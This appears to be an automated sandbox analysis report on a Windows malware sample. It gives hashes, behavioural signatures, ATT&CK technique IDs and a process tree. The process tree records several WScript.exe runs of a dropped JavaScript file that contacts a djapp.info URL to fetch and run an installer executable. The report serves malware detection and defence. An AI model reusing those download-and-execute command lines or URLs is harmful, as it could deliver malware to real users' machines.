ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053

General

Target

ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053.exe
Size

184KB
MD5

84bfc8bcd738871f997f9aa4a61da090
SHA1

6ae619e0cac6aad0bf42ba104146166b61960cdc
SHA256

ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053
SHA512

14cb2fa3ff029591c779250871fc7ddf5ccda39754493acc72052309b665d1755b8bed32b18d0e8409f164cea3f8fac312f50f4ddf32a55c9bfcba9cf35db8b3
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3p:/7BSH8zUB+nGESaaRvoB7FJNndnk

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 12 IoCs

flow	pid	Process
9	3692	WScript.exe
10	3692	WScript.exe
11	3688	WScript.exe
16	3688	WScript.exe
28	3820	WScript.exe
29	3820	WScript.exe
36	3820	WScript.exe
38	3820	WScript.exe
43	3808	WScript.exe
44	3808	WScript.exe
46	4204	WScript.exe
47	4204	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\Local Settings	ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053.exe

Script User-Agent 5 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	28	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	43	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	46	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3024 wrote to memory of 3692	3024	ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053.exe	80
PID 3024 wrote to memory of 3692	3024	ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053.exe	80
PID 3024 wrote to memory of 3692	3024	ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053.exe	80
PID 3024 wrote to memory of 3688	3024	ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053.exe	82
PID 3024 wrote to memory of 3688	3024	ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053.exe	82
PID 3024 wrote to memory of 3688	3024	ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053.exe	82
PID 3024 wrote to memory of 3820	3024	ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053.exe	84
PID 3024 wrote to memory of 3820	3024	ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053.exe	84
PID 3024 wrote to memory of 3820	3024	ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053.exe	84
PID 3024 wrote to memory of 3808	3024	ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053.exe	85
PID 3024 wrote to memory of 3808	3024	ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053.exe	85
PID 3024 wrote to memory of 3808	3024	ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053.exe	85
PID 3024 wrote to memory of 4204	3024	ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053.exe	86
PID 3024 wrote to memory of 4204	3024	ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053.exe	86
PID 3024 wrote to memory of 4204	3024	ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053.exe	86

C:\Users\Admin\AppData\Local\Temp\ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053.exe
"C:\Users\Admin\AppData\Local\Temp\ab5f3daec37c307e4d002d7063d0423187c07e88f7c994984a96f4f5a7cac053.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3024
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFB3D.js" http://www.djapp.info/?domain=gSaPqknhyo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufFB3D.exe
  2⤵
  - Blocklisted process makes network request
  PID:3692
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFB3D.js" http://www.djapp.info/?domain=gSaPqknhyo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufFB3D.exe
  2⤵
  - Blocklisted process makes network request
  PID:3688
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFB3D.js" http://www.djapp.info/?domain=gSaPqknhyo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufFB3D.exe
  2⤵
  - Blocklisted process makes network request
  PID:3820
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFB3D.js" http://www.djapp.info/?domain=gSaPqknhyo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufFB3D.exe
  2⤵
  - Blocklisted process makes network request
  PID:3808
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFB3D.js" http://www.djapp.info/?domain=gSaPqknhyo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufFB3D.exe
  2⤵
  - Blocklisted process makes network request
  PID:4204

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\fufFB3D.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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